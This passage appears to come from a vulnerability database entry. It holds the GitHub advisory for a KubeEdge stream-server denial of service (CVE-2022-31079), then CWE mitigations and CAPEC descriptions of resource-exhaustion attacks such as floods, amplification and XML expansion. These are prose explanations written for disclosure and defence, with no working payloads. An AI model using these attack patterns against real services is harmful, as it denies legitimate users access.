"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubeedge/kubeedge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31079"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-11T21:05:32Z",
"nvd_published_at": "2022-07-11T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe Cloud Stream server and the Edge Stream server reads the entire message into memory without imposing a limit on the size of this message. An attacker can exploit this by sending a large message to exhaust memory and cause a DoS. The Cloud Stream server and the Edge Stream server are under DoS attack in this case. The consequence of the exhaustion is that the CloudCore and EdgeCore will be in a denial of service.\nOnly an authenticated user can cause this issue. It will be affected only when users enable cloudStream module in the config file cloudcore.yaml and enable edgeStream module in the config file edgecore.yaml as below.\ncloudcore.yaml:\n```\nmodules:\n ...\n cloudStream:\n enable: true\n```\nedgecore.yaml:\n```\nmodules:\n ...\n edgeStream:\n enable: true\n```\n\n### Patches\nThis bug has been fixed in Kubeedge 1.11.1, 1.10.2, 1.9.4. Users should update to these versions to resolve the issue.\n\n### Workarounds\nDisable cloudStream module in the config file cloudcore.yaml and disable edgeStream module in the config file edgecore.yaml, restart process cloudcore and edgecore after modification.\n\n### References\nNA\n\n### Credits\nThanks David Korczynski and Adam Korczynski of ADA Logics for responsibly disclosing this issue in accordance with the [kubeedge security policy](https://github.com/kubeedge/kubeedge/security/policy) during a security audit sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [KubeEdge repo](https://github.com/kubeedge/kubeedge/issues/new/choose)\n* To make a vulnerability report, email your vulnerability to the private [cncf-kubeedge-security@lists.cncf.io](mailto:cncf-kubeedge-security@lists.cncf.io) list with the security details and the details expected for [KubeEdge bug reports](https://github.com/kubeedge/kubeedge/blob/master/.github/ISSUE_TEMPLATE/bug-report.md).\n",
"id": "GHSA-wrcr-x4qj-j543",
"modified": "2022-07-19T21:05:39Z",
"published": "2022-07-11T21:05:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubeedge/kubeedge/security/advisories/GHSA-wrcr-x4qj-j543"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31079"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubeedge/kubeedge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "KubeEdge Cloud Stream and Edge Stream DoS from large stream message"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.